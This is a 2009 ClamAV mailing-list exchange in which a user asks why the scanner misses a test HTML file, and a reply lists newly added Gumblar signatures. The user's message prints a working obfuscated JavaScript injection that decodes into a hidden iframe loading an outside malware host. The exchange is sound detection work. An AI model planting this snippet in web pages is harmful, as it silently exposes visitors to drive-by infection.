Greetings Edwin:
I just created a HTML file with an infection on purpose to test.
clamscan -i -r test.html found no infections.
Here's what I put in the test file:
<script type="text/javascript">var kPvOkYUlTEBvLmAPjYUP =
"nd60nd105nd102nd114nd97nd109nd101nd32nd119nd105nd100nd116nd104nd61nd34nd52n
d56nd48nd34nd32nd104nd101nd105nd103nd104nd116nd61nd34nd54nd48nd34nd32nd115nd
114nd99nd61nd34nd104nd116nd116nd112nd58nd47nd47nd104nd105nd116nd45nd115nd101
nd110nd100nd101nd114nd115nd46nd99nd110nd47nd102nd105nd110nd100nd47nd105nd110
nd46nd99nd103nd105nd63nd49nd50nd34nd32nd115nd116nd121nd108nd101nd61nd34nd98n
d111nd114nd100nd101nd114nd58nd48nd112nd120nd59nd32nd112nd111nd115nd105nd116n
d105nd111nd110nd58nd114nd101nd108nd97nd116nd105nd118nd101nd59nd32nd116nd111n
d112nd58nd48nd112nd120nd59nd32nd108nd101nd102nd116nd58nd45nd53nd48nd48nd112n
d120nd59nd32nd111nd112nd97nd99nd105nd116nd121nd58nd48nd59nd32nd102nd105nd108
nd116nd101nd114nd58nd112nd114nd111nd103nd105nd100nd58nd68nd88nd73nd109nd97nd
103nd101nd84nd114nd97nd110nd115nd102nd111nd114nd109nd46nd77nd105nd99nd114nd1
11nd115nd111nd102nd116nd46nd65nd108nd112nd104nd97nd40nd111nd112nd97nd99nd105
nd116nd121nd61nd48nd41nd59nd32nd45nd109nd111nd122nd45nd111nd112nd97nd99nd105
nd116nd121nd58nd48nd34nd62nd60nd47nd105nd102nd114nd97nd109nd101nd62";var
LQweQmnfGaTqpPFaoZLH = kPvOkYUlTEBvLmAPjYUP.split("nd");var
dNCoADEkcYAnpwSFjFkp = "";for (var fDfVTkvHKHOnVRcVUgGw=1;
fDfVTkvHKHOnVRcVUgGw<LQweQmnfGaTqpPFaoZLH.length;
fDfVTkvHKHOnVRcVUgGw++){dNCoADEkcYAnpwSFjFkp+=String.fromCharCode(LQweQmnfGa
TqpPFaoZLH[fDfVTkvHKHOnVRcVUgGw]);}document.write(dNCoADEkcYAnpwSFjFkp)</scr
ipt>
Please advise.
Thank you.
________________________________________________
Peter M. Abraham
> Message: 2
> Date: Tue, 21 Jul 2009 00:28:08 +0300
> From: T?r?k Edwin <edwinto...@gmail.com>
> Subject: Re: [Clamav-users] Finding html and related files infected
> with Gumblar
> To: ClamAV users ML <clamav-users@lists.clamav.net>
> Message-ID: <4a64e168.90...@gmail.com>
> Content-Type: text/plain; charset=ISO-8859-1
>
>
> Hi,
>
> I just published some signatures for Gumblar, more will come later:
> ClamAV database updated (20 Jul 2009 17-23 -0400): daily.cvd
> Version: 9592
>
> Submission-ID: 8833111
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-8
> Virus name alias: Trojan.Script.129045 (Bitdefender)
>
> Submission-ID: 8869676
> Sender: esbjorn krantzen
> Added: Trojan.JS.Gumblar
> Added: PUA.Script.Packed-4
>
> Submission-ID: 8886181
> Sender: yoshiaki ito_20090616
> Added: Trojan.JS.Gumblar-1
> Added: PUA.Script.Packed-5
> Added: Exploit.PDF-73
>
> Submission-ID: 8904202
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-2
> Virus name alias: Trojan.Script.139377 (Bitdefender)
>
> Submission-ID: 9276623
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-5
> Virus name alias: Trojan.Script.173034 (Bitdefender)
>
> Submission-ID: 9419622
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-7
>
> Submission-ID: 9435021
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-6
>
> Submission-ID: 9447670
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-4
>
> Submission-ID: 9452548
> Sender: Virus Total
> Added: Trojan.JS.Gumblar-3
>
> Best regards,
> --Edwin
_______________________________________________
Help us build a comprehensive ClamAV guide: visit http://wiki.clamav.net
http://www.clamav.net/support/ml
